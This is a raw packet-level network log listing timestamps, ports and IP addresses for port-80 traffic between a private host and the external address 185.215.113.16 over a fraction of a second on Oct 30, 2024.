Oct 30, 2024 12:36:51.149563074 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149590015 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149590015 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149601936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149660110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149673939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149691105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149696112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149696112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149697065 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149699926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149709940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149722099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149728060 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149729013 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149759054 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149780989 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149791956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149800062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149811029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149821043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149830103 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149859905 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149861097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149859905 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149872065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149928093 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150110960 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150122881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150131941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150170088 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150170088 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150178909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150188923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150202990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150218010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150229931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150238991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150243998 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150244951 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150264025 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150269032 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150274992 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150291920 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150295019 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150300980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150310993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150326014 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150346994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150347948 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150357962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150367022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150403976 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150404930 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150459051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150469065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150477886 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150490046 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150500059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150520086 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150557041 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150557995 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150568008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150578976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150588036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150598049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150619030 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150648117 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150765896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150775909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150784969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150827885 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150871038 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150876045 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150886059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150895119 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150904894 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150914907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150938034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150948048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150949001 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150949001 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150949001 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150963068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150975943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150985956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.150989056 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150989056 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.150994062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151029110 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151029110 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151048899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151058912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151067972 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151113987 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151144981 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151161909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151171923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151211977 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151242018 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151257038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151271105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151279926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151288986 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151299953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151352882 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151352882 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151388884 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151398897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151408911 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151420116 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151452065 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151452065 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151484013 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151504993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151515961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151525021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151535988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151546001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151561975 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151567936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151577950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151582003 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151587009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151604891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151628971 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151657104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151709080 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151714087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151725054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151781082 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151804924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151820898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151829958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151839972 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151849031 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151854992 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151865005 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151869059 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151904106 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151904106 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.151973963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.151990891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152002096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152024984 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152055025 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152062893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152072906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152081966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152091980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152138948 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152138948 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152199984 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152210951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152220011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152230978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152241945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152251959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152254105 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152264118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152282000 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152282000 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152311087 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152328968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152338982 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152348042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152359962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152370930 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152375937 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152380943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152396917 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152417898 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152560949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152571917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152580976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152616024 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152637005 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152642012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152652979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152661085 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152671099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152698040 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152726889 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152734041 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152745008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152754068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152764082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152775049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152785063 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152786970 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152813911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152813911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152915955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152926922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152935982 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.152966976 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152987003 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.152992010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153002024 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153011084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153021097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153038979 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153068066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153084040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153095007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153104067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153112888 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153122902 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153139114 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153147936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153157949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153165102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153165102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153170109 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153192997 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153219938 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153332949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153347015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153356075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153390884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153410912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153418064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153429031 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153444052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153454065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153464079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153466940 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153474092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153492928 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153523922 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153599024 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153609991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153619051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153635979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153646946 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153655052 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153656960 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153666973 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153672934 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153676033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.153692007 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.153718948 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155056953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155107021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155112982 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155123949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155158043 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155169010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155179024 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155188084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155199051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155217886 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155247927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155282021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155292034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155301094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155320883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155329943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155339956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155349970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155353069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155353069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155359983 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155373096 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155421972 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155498981 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155509949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155519962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155529976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155539989 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155550003 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155550957 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155560017 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155571938 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155579090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155591011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155591011 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155601025 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155610085 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155617952 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155627966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155633926 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155637980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155647993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155658007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155659914 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155667067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155678988 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155683994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155693054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.155699015 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155716896 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.155836105 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.312758923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312820911 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312832117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312848091 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312875032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312880993 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.312887907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312880993 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.312901020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312913895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312927961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312961102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.312961102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.312961102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.312962055 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.312977076 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312994957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.312998056 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313005924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313016891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313028097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313039064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313038111 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313050032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313061953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313060999 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313072920 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313081980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313082933 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313102007 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313112020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313118935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313123941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313133955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313144922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313157082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313158989 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313167095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313177109 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313179970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313193083 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313215017 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313222885 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313222885 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.313226938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313236952 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.313246012 CET	49747	80	192.168.2.4	185.215.113.16
